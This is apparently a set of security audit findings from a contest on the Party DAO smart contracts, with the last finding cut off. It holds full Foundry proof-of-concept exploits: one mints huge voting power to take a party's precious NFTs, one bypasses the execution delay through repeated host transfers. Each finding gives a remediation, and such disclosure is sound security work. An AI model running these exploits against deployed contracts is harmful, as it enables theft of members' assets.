Party DAO - sin1st3r__'s results

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/authorities/AddPartyCardsAuthority.sol#L29

Vulnerability details

Pre-requisite knowledge & an overview of the features in question

---

1. The AddPartyCardsAuthority contract: The AddPartyCardsAuthority contract is a contract designed to be integrated into a Party and it has only one purpose, and it is to mint new party governance NFT tokens for party members.

   • The party has to add this contract as an authority before it can start minting new party governance NFT tokens for users.
   • The AddPartyCardsAuthority contract is deployed on the mainnet on address 0xC534bb3640A66fAF5EAE8699FeCE511e1c331cAD

2. The 51% Majority attack: The PartyDAO team has put a lot of safeguards on a type of proposal called ArbitraryCallsProposal to prevent the 51% majority of the party to steal the precious NFT tokens of the party through this type of proposal. For a precious NFT token to be transferred out of the party to any other entity through this proposal, the proposal needs to be unanimously voted (100% of party members have voted on that proposal).

---

Overview of the vulnerability

---

There is no check on the ArbitraryCallsProposal proposal contract that prevents the calling of the AddPartyCardsAuthority contract. This allows the 51% majority, through an arbitrary call proposal, to hijack ALL of precious tokens of the party.

They can achieve this by going through the following steps:

1. Create an ArbitraryCallsProposal, to simply mint a governance NFT token for an arbitrary user with an astronomical voting power which gives the arbitrary user an ability to pass and bypass the execution delay of any proposal.
2. The newl-created arbitrary user will create an ArbitraryCallsProposal with multiple arbitrary calls with a goal of transferring all of the party precious tokens to him.
3. The newly created arbitrary user will then vote on the ArbitraryCallsProposal proposal he has just created.
4. The proposal will pass and be marked as unanimously voted proposal allowing him to bypass all of the safeguards in place to prevent the hijacking of precious NFT tokens through a non-unanimously voted proposal.

---

Proof of concept

---

How to run:

1. Add the following code to a file with a name of your liking with an extension of ".t.sol"
2. Add the created file to the test/ folder
3. Run the following command: forge test --match-contract TestHijackPreciousTokens --match-test testHijackPreciousExploit -vv

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;

import { Vm } from "forge-std/Test.sol";
import { TestUtils } from "./TestUtils.sol";
import { IERC721 } from "../contracts/tokens/IERC721.sol";
import { GlobalsAdmin } from "./TestUsers.sol";
import { PartyFactory } from "../contracts/party/PartyFactory.sol";
import { Globals } from "../contracts/globals/Globals.sol";
import { Party } from "../contracts/party/Party.sol";
import { ProposalExecutionEngine } from "../contracts/proposals/ProposalExecutionEngine.sol";
import { IFractionalV1VaultFactory } from "../contracts/proposals/vendor/FractionalV1.sol";
import { MockZoraReserveAuctionCoreEth } from "./proposals/MockZoraReserveAuctionCoreEth.sol";
import { IReserveAuctionCoreEth } from "../contracts/vendor/markets/IReserveAuctionCoreEth.sol";
import { PartyGovernance } from "../contracts/party/PartyGovernance.sol";
import { ERC721Receiver } from "../contracts/tokens/ERC721Receiver.sol";
import { MetadataRegistry } from "../contracts/renderers/MetadataRegistry.sol";
import { TokenDistributor } from "../contracts/distribution/TokenDistributor.sol";
import { OffChainSignatureValidator } from "../contracts/signature-validators/OffChainSignatureValidator.sol";
import {ArbitraryCallsProposal} from "../contracts/proposals/ArbitraryCallsProposal.sol";
import {IProposalExecutionEngine} from "../contracts/proposals/IProposalExecutionEngine.sol";
import {AddPartyCardsAuthority} from "../contracts/authorities/AddPartyCardsAuthority.sol";
import {DummyERC721} from "./DummyERC721.sol";
import "../contracts/utils/LibRawResult.sol";
import "forge-std/console.sol";

/// @notice This contract provides a fully functioning party instance for testing.
///     Run setup from inheriting contract.
abstract contract SetupPartyHelper is TestUtils, ERC721Receiver {

    bool private immutable _isForked;
    GlobalsAdmin internal globalsAdmin;
    Party internal party;
    Party internal partyImpl;
    Globals internal globals;
    PartyFactory internal partyFactory;
    TokenDistributor internal tokenDistributor;
    ProposalExecutionEngine pe;
    AddPartyCardsAuthority addPartyCards;
    uint256 partyTotalVotingPower;

    struct PartyMembersVotingPowers {
        uint96 User_John_Votes;
        uint96 User_Danny_Votes;
        uint96 User_Steve_Votes;
        uint96 User_Adam_Votes;
        uint96 User_Jack_Votes;
        uint96 User_Josh_Votes;
    }

    /** -------------------------- Party Authority -------------------------- */

    // Test authority member with dummy randomly generated address
    address internal authorityTestUser = vm.addr(1);

    /** -------------------------- Party Members -------------------------- */

    // Test members with dummy randomly generated addresses
    address internal user_john = vm.addr(2);
    address internal user_danny = vm.addr(3);
    address internal user_steve = vm.addr(4);

    // Voting power of each party member
    uint96 internal johnVotes;
    uint96 internal dannyVotes;
    uint96 internal steveVotes;

    /** -------------------------- Party Hosts -------------------------- */

    // Test hosts with dummy randomly generated addresses
    address internal host_adam = vm.addr(5);
    address internal host_jack = vm.addr(6);
    address internal host_josh = vm.addr(7);

    // Voting power of each party host
    uint96 internal adamVotes;
    uint96 internal jackVotes;
    uint96 internal joshVotes;

    /** -------------------------- Party precious tokens -------------------------- */

    DummyERC721 internal erc721PreciousToken = new DummyERC721();

    IERC721[] internal preciousTokens = new IERC721[](2);
    uint256[] internal preciousTokenIds = new uint256[](2);


    constructor(bool isForked) {
        _isForked = isForked;
    }

    function CreateNewParty(
        PartyMembersVotingPowers memory votingPowers,
        string memory partyName,
        string memory partySymbol,
        uint40 voteDuration,
        uint40 executionDelay,
        uint16 passThresholdBps,
        bool allowArbCallsToSpendPartyEth,
        bool distributionsRequireVote
    ) public {
        Party.PartyOptions memory opts;

        adamVotes = votingPowers.User_Adam_Votes;
        jackVotes = votingPowers.User_Jack_Votes;
        joshVotes = votingPowers.User_Josh_Votes;

        johnVotes = votingPowers.User_John_Votes;
        dannyVotes = votingPowers.User_Danny_Votes;
        steveVotes = votingPowers.User_Steve_Votes;

        address[] memory hosts = new address[](0);

        opts.name = partyName;
        opts.symbol = partySymbol;
        opts.governance.hosts = hosts;
        opts.governance.voteDuration = voteDuration;
        opts.governance.executionDelay = executionDelay;
        opts.governance.passThresholdBps = passThresholdBps;
        opts.proposalEngine.allowArbCallsToSpendPartyEth = allowArbCallsToSpendPartyEth;
        opts.proposalEngine.distributionsRequireVote = distributionsRequireVote;
        opts.governance.totalVotingPower = johnVotes + dannyVotes + steveVotes + adamVotes + joshVotes + jackVotes;  
        partyTotalVotingPower = opts.governance.totalVotingPower;

        initialize(opts);      
    }

    function initialize(Party.PartyOptions memory opts) internal virtual {
        globalsAdmin = new GlobalsAdmin();
        globals = globalsAdmin.globals();
        partyImpl = new Party(globals);
        address globalDaoWalletAddress = address(420);
        globalsAdmin.setGlobalDaoWallet(globalDaoWalletAddress);

        pe = new ProposalExecutionEngine(
            globals,
            _isForked
                ? IReserveAuctionCoreEth(0x5f7072E1fA7c01dfAc7Cf54289621AFAaD2184d0)
                : new MockZoraReserveAuctionCoreEth(),
            _isForked
                ? IFractionalV1VaultFactory(0x85Aa7f78BdB2DE8F3e0c0010d99AD5853fFcfC63)
                : IFractionalV1VaultFactory(address(0))
        );

        globalsAdmin.setProposalEng(address(pe));

        partyFactory = new PartyFactory(globals);
        globalsAdmin.setGlobalPartyFactory(address(partyFactory));

        tokenDistributor = new TokenDistributor(globals, 0);
        globalsAdmin.setTokenDistributor(address(tokenDistributor));

        address[] memory registrars = new address[](2);
        registrars[0] = address(this);
        registrars[1] = address(partyFactory);
        MetadataRegistry metadataRegistry = new MetadataRegistry(globals, registrars);
        globalsAdmin.setMetadataRegistry(address(metadataRegistry));

        OffChainSignatureValidator offChainGlobalValidator = new OffChainSignatureValidator();
        globalsAdmin.setOffChainSignatureValidator(address(offChainGlobalValidator));

        addPartyCards = new AddPartyCardsAuthority();

        address[] memory authorities = new address[](1);
        authorities[0] = authorityTestUser;

        // Mint two precious tokens
        uint256 firstPreciousTokenId = erc721PreciousToken.mint(address(this)); // NFT ID 1
        uint256 secondPreciousTokenId = erc721PreciousToken.mint(address(this)); // NFT ID 2

        preciousTokens[0] = IERC721(address(erc721PreciousToken));
        preciousTokens[1] = IERC721(address(erc721PreciousToken));
        preciousTokenIds[0] = firstPreciousTokenId;
        preciousTokenIds[1] = secondPreciousTokenId;

        party = partyFactory.createParty(
            partyImpl,
            authorities,
            opts,
            preciousTokens,
            preciousTokenIds,
            0
        );

        // Approve the created party to spend the two precious tokens.
        erc721PreciousToken.transferFrom(address(this), address(party), firstPreciousTokenId);
        erc721PreciousToken.transferFrom(address(this), address(party), secondPreciousTokenId);

        vm.startPrank(authorityTestUser);

        // Give party members voting powers
        party.mint(user_john, johnVotes, user_john);
        party.mint(user_danny, dannyVotes, user_danny);
        party.mint(user_steve, steveVotes, user_steve);

        // Give party members voting powers
        party.mint(host_adam, adamVotes, host_adam);
        party.mint(host_jack, jackVotes, host_jack);
        party.mint(host_josh, joshVotes, host_josh);

        vm.stopPrank();

        vm.warp(block.timestamp + 1);
    }

}

contract TestHijackPreciousTokens is SetupPartyHelper {

    constructor() SetupPartyHelper(false) {}

    /** ------ Create a new party ------ */
    function setUp() public { 

        PartyMembersVotingPowers memory votingPowers = PartyMembersVotingPowers({
            User_John_Votes: 50 ether,
            User_Danny_Votes: 50 ether,
            User_Steve_Votes: 50 ether,
            User_Adam_Votes: 50 ether,
            User_Jack_Votes: 50 ether,
            User_Josh_Votes: 50 ether
        });

        super.CreateNewParty(
            votingPowers,
            "TestParty",
            "PRT",
            100,
            0, // setting the execution delay as zero for the poc
            5000, // 50% of members have to accept the proposal for it go through
            true,
            true
        );

        // Add `AddPartyCardsAuthority` contract as an authority
        vm.prank(address(party));
        party.addAuthority(address(addPartyCards));

    }

    function testHijackPreciousExploit() public {

        /** ----------------------- [STAGE 1] ----------------------- */
        /**
        * [Stage 1] of the exploit objectives:
        *  -  Through an arbitrary call (unanimous proposal),
        *      mint an arbitrary address `attacker` an astronomical voting power.
        */

        address attacker = vm.addr(48748743784378);

        ArbitraryCallsProposal.ArbitraryCall[] memory calls = new ArbitraryCallsProposal.ArbitraryCall[](1);

        address[] memory newPartyMembers = new address[](1);
        uint96[] memory newPartyMemberVotingPowers = new uint96[](1);
        address[] memory initialDelegates = new address[](1);

        newPartyMembers[0] = attacker;
        newPartyMemberVotingPowers[0] = 7922816251426433759354395;
        initialDelegates[0] = address(0);

        /** ------------ Non-unanimous `ArbitraryCall` proposal ------------ */

        calls[0] = createArbitraryCall(
            address(addPartyCards),
            abi.encodeWithSelector(AddPartyCardsAuthority.addPartyCards.selector, newPartyMembers, newPartyMemberVotingPowers, initialDelegates)
        );

        PartyGovernance.Proposal memory test_proposal = createArbitraryCallProposal(calls);

        vm.prank(user_john);
        uint256 proposalId = party.propose(test_proposal, 0);

        vm.prank(user_danny);
        party.accept(proposalId, 0);

        vm.prank(user_steve);
        party.accept(proposalId, 0);

        vm.prank(user_john);
        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );

        vm.warp(block.timestamp + 5);

        /** ----------------------- [STAGE 2] ----------------------- */
        /**
        * [Stage 2] of the exploit objectives:
        *  -  Hijack the two precious tokens of the party
        * 
        *  The attacker will simply create an `ArbitraryCall` proposal to transfer the two precious tokens to him
        *  Since the attacker was minted voting power equivalent to the total voting power, 
        *      the proposal will be marked as unanimous, bypassing the execution delay and precious NFT safeguards.
        */

        calls = new ArbitraryCallsProposal.ArbitraryCall[](2);

        calls[0] = createArbitraryCall(
            address(preciousTokens[0]),
            abi.encodeWithSelector(IERC721.transferFrom.selector, address(party), address(attacker), preciousTokenIds[0])
        );

        calls[1] = createArbitraryCall(
            address(preciousTokens[1]),
            abi.encodeWithSelector(IERC721.transferFrom.selector, address(party), address(attacker), preciousTokenIds[1])
        );

        test_proposal = createArbitraryCallProposal(calls);

        // The proposal will pass, will be marked as unanimous and it'll be ready to execute.

        vm.startPrank(attacker);

        proposalId = party.propose(test_proposal, 1);

        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );

        vm.stopPrank();

    }



    struct ArbitraryCall {
        address payable target;
        uint256 value;
        bytes data;
        bytes32 expectedResultHash;
    }

    function createArbitraryCallProposal(ArbitraryCallsProposal.ArbitraryCall[] memory calls) public pure returns(PartyGovernance.Proposal memory) {
        return PartyGovernance.Proposal({
            maxExecutableTime: uint40(999999999999),
            cancelDelay: 10000,
            proposalData: abi.encodeWithSelector(
                bytes4(uint32(ProposalExecutionEngine.ProposalType.ArbitraryCalls)),
                calls
            )
        });
    }


    function createArbitraryCall(
        address arbitraryCallTarget,
        bytes memory targetData
    )
        private
        pure
        returns (ArbitraryCallsProposal.ArbitraryCall memory)
    {
        return ArbitraryCallsProposal.ArbitraryCall({
                target: payable(address(arbitraryCallTarget)),
                value: 0,
                data: targetData,
                expectedResultHash: bytes32(0)
            });
    }


}

---

Impact

---

The 51% majority can hijack precious tokens of a party through an arbitrary call proposal.

---

Remediation

---

In the function _isCallAllowed in ArbitraryCallsProposal, add a check to prevent an arbitrary call from calling the contract AddPartyCardsAuthority. Or add a check to prevent an arbitrary call with a function selector equivalent to that of the addPartyCards function in the ArbitraryPartyCardsAuthority contract, to be executed.

---

Assessed type

Token-Transfer

Lines of code

https://github.com/PartyDAO/party-protocol/blob/37dae4292dde2547a3b1ced8a041f926e1b37d58/contracts/party/PartyGovernance.sol#L629

Vulnerability details

The Vulnerability

---

After a proposal has gathered enough votes to pass, it waits through a period defined in the governance values named executionDelay. That executionDelay period is bypassed and the proposal can be executed immediately if ALL hosts of the party vote on the proposal or the proposal is unanimously voted, meaning all party members voted on that proposal.

In the accept() in PartyGovernance.sol contract. In line 646, it relies on a state variable mapping named isHost to if the call sender is a host. If that is the case, the number of hosts that voted on that particular proposal is increased by one ++values.numHostsAccepted;. https://github.com/PartyDAO/party-protocol/blob/37dae4292dde2547a3b1ced8a041f926e1b37d58/contracts/party/PartyGovernance.sol#L629

    uint96 votingPower = getVotingPowerAt(msg.sender, values.proposedTime - 1, snapIndex);
    values.votes += votingPower;
    if (isHost[msg.sender]) {
        ++values.numHostsAccepted;
    }
    info.values = values;
    emit ProposalAccepted(proposalId, msg.sender, votingPower);

It is also worth noting that if a user has 0 intrinsic and 0 delegated voting power, that won't prevent him from voting on a proposal. If there are no inserted voting power snapshots for that user then the call won't revert.

This very simple way of tracking how many hosts voted the proposal doesn't prevent a single host from doing the following:

1. Vote on the proposal
2. Transfer his host status to another address he owns and vote on the proposal
3. Repeat

Repeating these steps over and over until the numHostsAccepted value is equivalent to the number of hosts at the time of creation of the proposal will allow a single host to bypass the execution delay of a proposal that has gathered enough votes

Interestingly, a single host can execute the same attack to prevent the execution delay from being bypassed even if all other hosts in the party have voted on the proposal, observe the following function (https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L1053):

    function _getProposalFlags(ProposalStateValues memory pv) private view returns (uint256) {
        uint256 flags = 0;
        if (_isUnanimousVotes(pv.votes, pv.totalVotingPower)) {
            flags = flags | LibProposal.PROPOSAL_FLAG_UNANIMOUS;
        }
        if (_hostsAccepted(pv.numHosts, pv.numHostsAccepted)) {
            flags = flags | LibProposal.PROPOSAL_FLAG_HOSTS_ACCEPT;
        }
        return flags;
    }

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L1122

    function _hostsAccepted(
        uint8 snapshotNumHosts,
        uint8 numHostsAccepted
    ) private pure returns (bool) {
        return snapshotNumHosts > 0 && snapshotNumHosts == numHostsAccepted;
    }

The _getProposalFlags is what determines whether or not the proposal is unanimously voted or not and wether or not all hosts have accepted the proposal or not. It determines the latter by supplying 1. the number of hosts of the party at the time of the proposal creation 2. the hosts that have voted so far. And it checks if both are equal.

An attacker can simply keep repeating the steps he used to bypass the execution delay to get the numHostsAccepted value to be a high value that exceeds even the number of hosts that existed during the creation of the party.

---

Proof of concept

---

How to run:

• Add the following code to a file with a name of your choosing and with an extension of .t.sol inside the test/ folder. Then run the following command

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;

import { Vm } from "forge-std/Test.sol";
import { TestUtils } from "./TestUtils.sol";
import { IERC721 } from "../contracts/tokens/IERC721.sol";
import { GlobalsAdmin } from "./TestUsers.sol";
import { PartyFactory } from "../contracts/party/PartyFactory.sol";
import { Globals } from "../contracts/globals/Globals.sol";
import { Party } from "../contracts/party/Party.sol";
import { ProposalExecutionEngine } from "../contracts/proposals/ProposalExecutionEngine.sol";
import { IFractionalV1VaultFactory } from "../contracts/proposals/vendor/FractionalV1.sol";
import { MockZoraReserveAuctionCoreEth } from "./proposals/MockZoraReserveAuctionCoreEth.sol";
import { IReserveAuctionCoreEth } from "../contracts/vendor/markets/IReserveAuctionCoreEth.sol";
import { PartyGovernance } from "../contracts/party/PartyGovernance.sol";
import { ERC721Receiver } from "../contracts/tokens/ERC721Receiver.sol";
import { MetadataRegistry } from "../contracts/renderers/MetadataRegistry.sol";
import { TokenDistributor } from "../contracts/distribution/TokenDistributor.sol";
import { OffChainSignatureValidator } from "../contracts/signature-validators/OffChainSignatureValidator.sol";
import {ArbitraryCallsProposal} from "../contracts/proposals/ArbitraryCallsProposal.sol";
import {IProposalExecutionEngine} from "../contracts/proposals/IProposalExecutionEngine.sol";
import "../contracts/utils/LibRawResult.sol";
import "forge-std/console.sol";

/// @notice This contract provides a fully functioning party instance for testing.
///     Run setup from inheriting contract.
abstract contract SetupPartyHelper is TestUtils, ERC721Receiver {

    bool private immutable _isForked;
    GlobalsAdmin internal globalsAdmin;
    Party internal party;
    Party internal partyImpl;
    Globals internal globals;
    PartyFactory internal partyFactory;
    TokenDistributor internal tokenDistributor;
    ProposalExecutionEngine pe;

    struct PartyMembersVotingPowers {
        uint96 User_John_Votes;
        uint96 User_Danny_Votes;
        uint96 User_Steve_Votes;

        uint96 Host_Adam_Votes;
        uint96 Host_Jack_Votes;
        uint96 Host_Josh_Votes;
    }

    /** -------------------------- Party Authority -------------------------- */

    // Test authority member with dummy randomly generated address
    address internal authorityTestUser = vm.addr(1);

    /** -------------------------- Party Members -------------------------- */

    // Test members with dummy randomly generated addresses
    address internal user_john = vm.addr(2);
    address internal user_danny = vm.addr(3);
    address internal user_steve = vm.addr(4);

    // Voting power of each party member
    uint96 internal johnVotes;
    uint96 internal dannyVotes;
    uint96 internal steveVotes;

    /** -------------------------- Party Hosts -------------------------- */

    // Test hosts with dummy randomly generated addresses
    address internal host_adam = vm.addr(5);
    address internal host_jack = vm.addr(6);
    address internal host_josh = vm.addr(7);

    // Voting power of each party host
    uint96 internal adamVotes;
    uint96 internal jackVotes;
    uint96 internal joshVotes;

    /** -------------------------- Party precious tokens -------------------------- */

    IERC721[] internal preciousTokens = new IERC721[](0);
    uint256[] internal preciousTokenIds = new uint256[](0);


    constructor(bool isForked) {
        _isForked = isForked;
    }

    function CreateNewParty(
        PartyMembersVotingPowers memory votingPowers,
        string memory partyName,
        string memory partySymbol,
        uint40 voteDuration,
        uint40 executionDelay,
        uint16 passThresholdBps,
        bool allowArbCallsToSpendPartyEth,
        bool distributionsRequireVote
    ) public {
        Party.PartyOptions memory opts;

        adamVotes = votingPowers.Host_Adam_Votes;
        jackVotes = votingPowers.Host_Jack_Votes;
        joshVotes = votingPowers.Host_Josh_Votes;

        johnVotes = votingPowers.User_John_Votes;
        dannyVotes = votingPowers.User_Danny_Votes;
        steveVotes = votingPowers.User_Steve_Votes;

        address[] memory hosts = new address[](3);
        hosts[0] = host_adam;
        hosts[1] = host_jack;
        hosts[2] = host_josh;

        opts.name = partyName;
        opts.symbol = partySymbol;
        opts.governance.hosts = hosts;
        opts.governance.voteDuration = voteDuration;
        opts.governance.executionDelay = executionDelay;
        opts.governance.passThresholdBps = passThresholdBps;
        opts.proposalEngine.allowArbCallsToSpendPartyEth = allowArbCallsToSpendPartyEth;
        opts.proposalEngine.distributionsRequireVote = distributionsRequireVote;
        opts.governance.totalVotingPower = johnVotes + dannyVotes + steveVotes + adamVotes + joshVotes + jackVotes;  

        initialize(opts);      
    }

    function initialize(Party.PartyOptions memory opts) internal virtual {
        globalsAdmin = new GlobalsAdmin();
        globals = globalsAdmin.globals();
        partyImpl = new Party(globals);
        address globalDaoWalletAddress = address(420);
        globalsAdmin.setGlobalDaoWallet(globalDaoWalletAddress);

        pe = new ProposalExecutionEngine(
            globals,
            _isForked
                ? IReserveAuctionCoreEth(0x5f7072E1fA7c01dfAc7Cf54289621AFAaD2184d0)
                : new MockZoraReserveAuctionCoreEth(),
            _isForked
                ? IFractionalV1VaultFactory(0x85Aa7f78BdB2DE8F3e0c0010d99AD5853fFcfC63)
                : IFractionalV1VaultFactory(address(0))
        );

        globalsAdmin.setProposalEng(address(pe));

        partyFactory = new PartyFactory(globals);
        globalsAdmin.setGlobalPartyFactory(address(partyFactory));

        tokenDistributor = new TokenDistributor(globals, 0);
        globalsAdmin.setTokenDistributor(address(tokenDistributor));

        address[] memory registrars = new address[](2);
        registrars[0] = address(this);
        registrars[1] = address(partyFactory);
        MetadataRegistry metadataRegistry = new MetadataRegistry(globals, registrars);
        globalsAdmin.setMetadataRegistry(address(metadataRegistry));

        OffChainSignatureValidator offChainGlobalValidator = new OffChainSignatureValidator();
        globalsAdmin.setOffChainSignatureValidator(address(offChainGlobalValidator));


        address[] memory authorities = new address[](1);
        authorities[0] = authorityTestUser;
        party = partyFactory.createParty(
            partyImpl,
            authorities,
            opts,
            preciousTokens,
            preciousTokenIds,
            0
        );

        vm.startPrank(authorityTestUser);

        // Give party members voting powers
        party.mint(user_john, johnVotes, user_john);
        party.mint(user_danny, dannyVotes, user_danny);
        party.mint(user_steve, steveVotes, user_steve);

        // Give party members voting powers
        party.mint(host_adam, adamVotes, host_adam);
        party.mint(host_jack, jackVotes, host_jack);
        party.mint(host_josh, joshVotes, host_josh);

        vm.stopPrank();

        vm.warp(block.timestamp + 1);
    }

}

contract ExecutionDelayBypassExploit is SetupPartyHelper {

    constructor() SetupPartyHelper(false) {}

    function setUp() public { 

        PartyMembersVotingPowers memory votingPowers = PartyMembersVotingPowers({
            User_John_Votes: 50,
            User_Danny_Votes: 50,
            User_Steve_Votes: 50,
            Host_Adam_Votes: 50,
            Host_Jack_Votes: 50,
            Host_Josh_Votes: 50
        });

        super.CreateNewParty(
            votingPowers,
            "TestParty",
            "PRT",
            100,
            99999999999, // This is the execution delay we're setting to prove we'll bypass it.
            5000, // 50% of members have to accept the proposal for it go through
            true,
            true
        );

    }

    function test_ExecutionDelayBypass() public {

        /** -------- Create a proposal and vote on it on the 3 member accounts to meet the threshold and get the vote to pass -------- */

        PartyGovernance.Proposal memory test_proposal = createTestProposal();

        vm.prank(user_john);
        uint256 proposalId = party.propose(test_proposal, 0);

        vm.prank(user_danny);
        party.accept(proposalId, 0);

        vm.prank(user_steve);
        party.accept(proposalId, 0);        

        /** -------- The exploit -------- */

        address dummyAddr1 = vm.addr(478734);
        address dummyAddr2 = vm.addr(238532);

        // Accept the vote using only one host `host_adam`
        vm.prank(host_adam);
        party.accept(proposalId, 0); // Count of numHosts will be increased. It'll be 1 now.

        // Transfer the host status to a non-member account/address
        vm.prank(host_adam);
        party.abdicateHost(dummyAddr1);

        // Using the non-member host, vote on the proposal, voting power == zero <- won't revert
        vm.prank(dummyAddr1);
        party.accept(proposalId, 0); // Count of numHosts will be increased. It'll be 2 now.

        // Transfer the host status again to another non-member
        vm.prank(dummyAddr1);
        party.abdicateHost(dummyAddr2);

        // Using the second non-member host, vote on the proposal, voting power == zero <- won't revert
        vm.prank(dummyAddr2);
        party.accept(proposalId, 0); // Count of numHosts will be increased. It'll be 3 now.


        /** 
         Execute the proposal, it should be passing despite execution delay of 99999999999,
         and only one host voting on it so far (`host_adam`)
        **/

        vm.prank(user_john);
        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );


    }


    struct ArbitraryCall {
        address payable target;
        uint256 value;
        bytes data;
        bytes32 expectedResultHash;
    }

    function createTestProposal() public returns(PartyGovernance.Proposal memory proposal) {

        ArbitraryCallTarget dummyTargetTestForProposal = new ArbitraryCallTarget();

        (
            ArbitraryCallsProposal.ArbitraryCall[] memory calls, 
            bytes32[] memory callArgs
        ) = _createSimpleCalls(address(dummyTargetTestForProposal), 1, false);
        PartyGovernance.Proposal memory proposalx = PartyGovernance.Proposal({
            maxExecutableTime: uint40(999999999999),
            cancelDelay: 10000,
            proposalData: abi.encodeWithSelector(
                bytes4(uint32(ProposalExecutionEngine.ProposalType.ArbitraryCalls)),
                calls
            )
        });

        return proposalx;

    }


    function _createSimpleCalls(
        address arbitraryCallTarget,
        uint256 count,
        bool shouldCallsReturnData
    )
        private
        view
        returns (ArbitraryCallsProposal.ArbitraryCall[] memory calls, bytes32[] memory callArgs)
    {
        calls = new ArbitraryCallsProposal.ArbitraryCall[](count);
        callArgs = new bytes32[](count);
        bytes[] memory callResults = new bytes[](count);
        for (uint256 i; i < count; ++i) {
            callArgs[i] = _randomBytes32();
            callResults[i] = shouldCallsReturnData ? abi.encode(_randomBytes32()) : bytes("");
            calls[i] = ArbitraryCallsProposal.ArbitraryCall({
                target: payable(address(arbitraryCallTarget)),
                value: 0,
                data: abi.encodeWithSelector(ArbitraryCallTarget.hello.selector),
                expectedResultHash: shouldCallsReturnData ? keccak256(callResults[i]) : bytes32(0)
            });
        }
    }


}


contract ArbitraryCallTarget {
    using LibRawResult for bytes;

    error ArbitraryCallTargetFailError(address caller, uint256 value, bytes32 stuff);
    event ArbitraryCallTargetSuccessCalled(address caller, uint256 value, bytes32 stuff);

    function success(bytes32 stuff, bytes memory returnData) external payable {
        emit ArbitraryCallTargetSuccessCalled(msg.sender, msg.value, stuff);
        returnData.rawReturn();
    }

    function fail(bytes32 stuff) external payable {
        revert ArbitraryCallTargetFailError(msg.sender, msg.value, stuff);
    }

    function yoink(IERC721 token, uint256 tokenId) external {
        token.transferFrom(token.ownerOf(tokenId), address(this), tokenId);
    }

    function restore(address to, IERC721 token, uint256 tokenId) external {
        token.transferFrom(address(this), to, tokenId);
    }

    function hello() external {}
}

---

Impact

---

A single host in a party with multiple hosts can bypass the execution delay of a proposal that has gathered enough votes. He can also prevent the execution delay from being executed even if all other hosts of the party voted on the proposal.

---

Remediation

---

Create a snapshot system for host members similar to the ones you have for tracking the intrinsic and delegated voting power of party members. This snapshot system should keep track of who has this host transffered his voting power and when, etc.

And use that snapshot system to determine whether or not to increase the numHostsAccepted value.

---

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/distribution/TokenDistributor.sol#L318

Vulnerability details

Pre-requisite knowledge & an overview of the features in question

---

1. Double Entry ERC20 Tokens: Some ERC20 tokens have multiple valid contract addresses that serve as entrypoints for manipulating the same underlying storage (such as synthetix tokens like SNX and sBTC and formerly the TUSD stablecoin).
2. Token Distributor: The token distributor is an important component of the party ecosystem. The token distributor acts as a vault where parties deposit their ERC20 and ETH tokens in it and create what's known as "distributions".
   • Example: A party wants create a distribution of 10,000 ETH. They simply will call the function createNativeDistribution and send 10,000 ETH along with the call. And then party members can claim their share of that distribution by supplying the party governance NFT token id(s) they own. The token distributor will calculate how much ETH to give the party member depending on the voting power of the supplied party governance NFT token id. If the party member owns a governance NFT with a voting power of 40 while the total voting power of the party is 100, he will get 4,000 ETH (40% * 10,000 = 4000)

---

How the Token Distributor allocates balances for created distributions

---

To be able to understand how the vulnerability manifests itself, we first, need to know how the TokenDistributor allocates a certain number of funds (ERC20 tokens or ETH) to a particular distribution.

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/distribution/TokenDistributor.sol#L121

    /// @inheritdoc ITokenDistributor
    function createErc20Distribution(
        IERC20 token,
        Party party,
        address payable feeRecipient,
        uint16 feeBps
    ) external returns (DistributionInfo memory info) {
        info = _createDistribution(
            CreateDistributionArgs({
                party: party,
                tokenType: TokenType.Erc20,
                token: address(token),
                currentTokenBalance: token.balanceOf(address(this)),
                feeRecipient: feeRecipient,
                feeBps: feeBps
            })
        );
    }

When a party wants to create an ERC20 token distribution, it calls the function createErc20Distribution shown above in the TokenDistributor contract. The party has to supply the address of it, the address of the ERC20 token among, the address of the fee recipient feeRecipient and the amount to give to the fee recipient feeBps.

The createErc20Distribution will then call the internal function _createDistribution supplying it with all the supplied info in addition to the current balance of the ERC20 token in question. It uses the .balanceOf() function to determine that: token.balanceOf(address(this))

It's worth noting that calling the .balanceOf() function on any of the two addresses of the double-entry token will return the same result.

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/distribution/TokenDistributor.sol#L318

    function _createDistribution(
        CreateDistributionArgs memory args
    ) private returns (DistributionInfo memory info) {
        if (args.feeBps > 1e4) {
            revert InvalidFeeBpsError(args.feeBps);
        }
        uint128 supply;
        {
            bytes32 balanceId = _getBalanceId(args.tokenType, args.token);
            supply = (args.currentTokenBalance - _storedBalances[balanceId])
                .safeCastUint256ToUint128();
            // Supply must be nonzero.
            if (supply == 0) {
                revert InvalidDistributionSupplyError(supply);
            }
            // Update stored balance.
            _storedBalances[balanceId] = args.currentTokenBalance;
        }

        // Create a distribution.
        uint128 fee = (supply * args.feeBps) / 1e4;
        uint128 memberSupply = supply - fee;

Now we're in the _createDistribution function, it will do the following:

1. Step 1: Retrieve the balanceId of the ERC20 token. The balanceId is simply a uint256 identifier of the address of the ERC20 token in quesion. It retrieves that identifier by calling the internal function _getBalanceId

       function _getBalanceId(
           TokenType tokenType,
           address token
       ) private pure returns (bytes32 balanceId) {
           if (tokenType == TokenType.Native) {
               return bytes32(uint256(uint160(NATIVE_TOKEN_ADDRESS)));
           }
           assert(tokenType == TokenType.Erc20);
           return bytes32(uint256(uint160(token)));
       }
   

2. Step 2: Get the value of balanceId in the state variable mapping _storedBalances[]. The _storedBalances[] state variable is simply a mapping holding the last known balance of the token distributor of each ERC20 token.

